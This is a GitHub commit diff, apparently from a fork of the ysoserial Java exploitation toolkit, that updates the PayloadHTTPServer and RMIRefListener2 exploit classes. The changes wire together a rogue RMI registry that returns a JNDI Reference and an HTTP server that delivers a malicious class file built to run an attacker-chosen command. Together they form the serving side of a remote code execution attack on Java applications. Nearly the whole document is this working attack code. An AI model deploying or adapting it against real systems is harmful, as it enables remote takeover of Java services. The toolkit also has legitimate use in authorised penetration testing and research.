Skip to content

Commit bf95d4a

Browse files
committed
update RMIRefListener2
1 parent 25a7abf commit bf95d4a

File tree

2 files changed

+37
-20
lines changed

2 files changed

+37
-20
lines changed

src/main/java/ysoserial/exploit/PayloadHTTPServer.java

Lines changed: 19 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -16,7 +16,18 @@
1616
* @author wh1t3P1g
1717
* @since 2020/2/5
1818
*/
19-
public class PayloadHTTPServer {
19+
public class PayloadHTTPServer implements Runnable{
20+
21+
private int port;
22+
private String classname;
23+
private String command;
24+
private HttpServer server;
25+
26+
public PayloadHTTPServer(int port, String classname, String command) {
27+
this.port = port;
28+
this.classname = classname;
29+
this.command = command;
30+
}
2031

2132
public static void main(String[] args) {
2233
if ( args.length < 3 ) {
@@ -29,9 +40,14 @@ public static void main(String[] args) {
2940
String classname = args[1];
3041
String command = args[2];
3142

43+
PayloadHTTPServer server = new PayloadHTTPServer(port, classname, command);
44+
server.run();
45+
}
46+
47+
public void run(){
3248
try {
3349
System.err.println("* Opening Payload HTTPServer on " + port);
34-
HttpServer server = HttpServer.create(new InetSocketAddress(port), 0);
50+
server = HttpServer.create(new InetSocketAddress(port), 0);
3551
server.createContext("/"+classname+".class", new PayloadHandler(classname, command));
3652
server.setExecutor(null);
3753
server.start();
@@ -71,7 +87,7 @@ private void generate() throws Exception {
7187

7288
@Override
7389
public void handle(HttpExchange exchange) throws IOException {
74-
System.err.println("Have connection from "+exchange.getRemoteAddress());
90+
System.err.println("Have request from "+exchange.getRemoteAddress());
7591
System.err.println("Get request <"+exchange.getRequestMethod()+"> "+exchange.getRequestURI());
7692
exchange.sendResponseHeaders(200, obj.length);
7793
OutputStream os = exchange.getResponseBody();

src/main/java/ysoserial/exploit/RMIRefListener2.java

Lines changed: 18 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -9,16 +9,6 @@
99
import java.rmi.registry.LocateRegistry;
1010
import java.rmi.registry.Registry;
1111

12-
13-
/**
14-
* Generic JRMP listener
15-
*
16-
* Opens up an JRMP listener that will deliver the specified payload to any
17-
* client connecting to it and making a call.
18-
*
19-
* @author mbechler
20-
*
21-
*/
2212
@SuppressWarnings ( {
2313
"restriction"
2414
} )
@@ -39,20 +29,31 @@ public RMIRefListener2(int port, String factoryName, String factoryURL, Object p
3929

4030
public static final void main ( final String[] args ) throws Exception{
4131

42-
if ( args.length < 3 ) {
43-
System.err.println(RMIRefListener2.class.getName() + " <port> <factory_name> <factory_url>");
32+
if ( args.length < 4 ) {
33+
System.err.println(RMIRefListener2.class.getName() + "<registryHost:registryPort> <PayloadServerPort> <factory_name> <command>");
4434
System.exit(-1);
4535
return;
4636
}
4737

48-
Reference reference = new Reference(args[ 1 ],args[ 1 ],args[ 2 ]);
38+
String[] registry = args[0].split(":");
39+
int registryPort = Integer.parseInt(registry[1]);
40+
String host = registry[0];
41+
42+
int httpServerPort = Integer.parseInt(args[1]);
43+
String factoryName = args[2];
44+
String factoryURL = "http://"+host+":"+httpServerPort+"/";
45+
String command = args[3];
46+
47+
Reference reference = new Reference(factoryName, factoryName, factoryURL);
4948
final Object payloadObject = new ReferenceWrapper(reference);
5049

5150
try {
52-
int port = Integer.parseInt(args[ 0 ]);
53-
System.err.println("* Opening JRMP listener on " + port);
54-
System.err.println("* URL: rmi://some-host:"+port+"/"+args[1]);
55-
RMIRefListener2 c = new RMIRefListener2(port, args[1], args[2], payloadObject);
51+
PayloadHTTPServer server = new PayloadHTTPServer(httpServerPort, factoryName, command);
52+
server.run();
53+
System.err.println("* Opening JRMP listener on " + registryPort);
54+
System.err.println("* URL: rmi://"+host+":"+registryPort+"/"+factoryName);
55+
System.err.println("* FactoryURL: "+factoryURL);
56+
RMIRefListener c = new RMIRefListener(registryPort, payloadObject);
5657
c.run();
5758
}
5859
catch ( Exception e ) {

0 commit comments

Comments
 (0)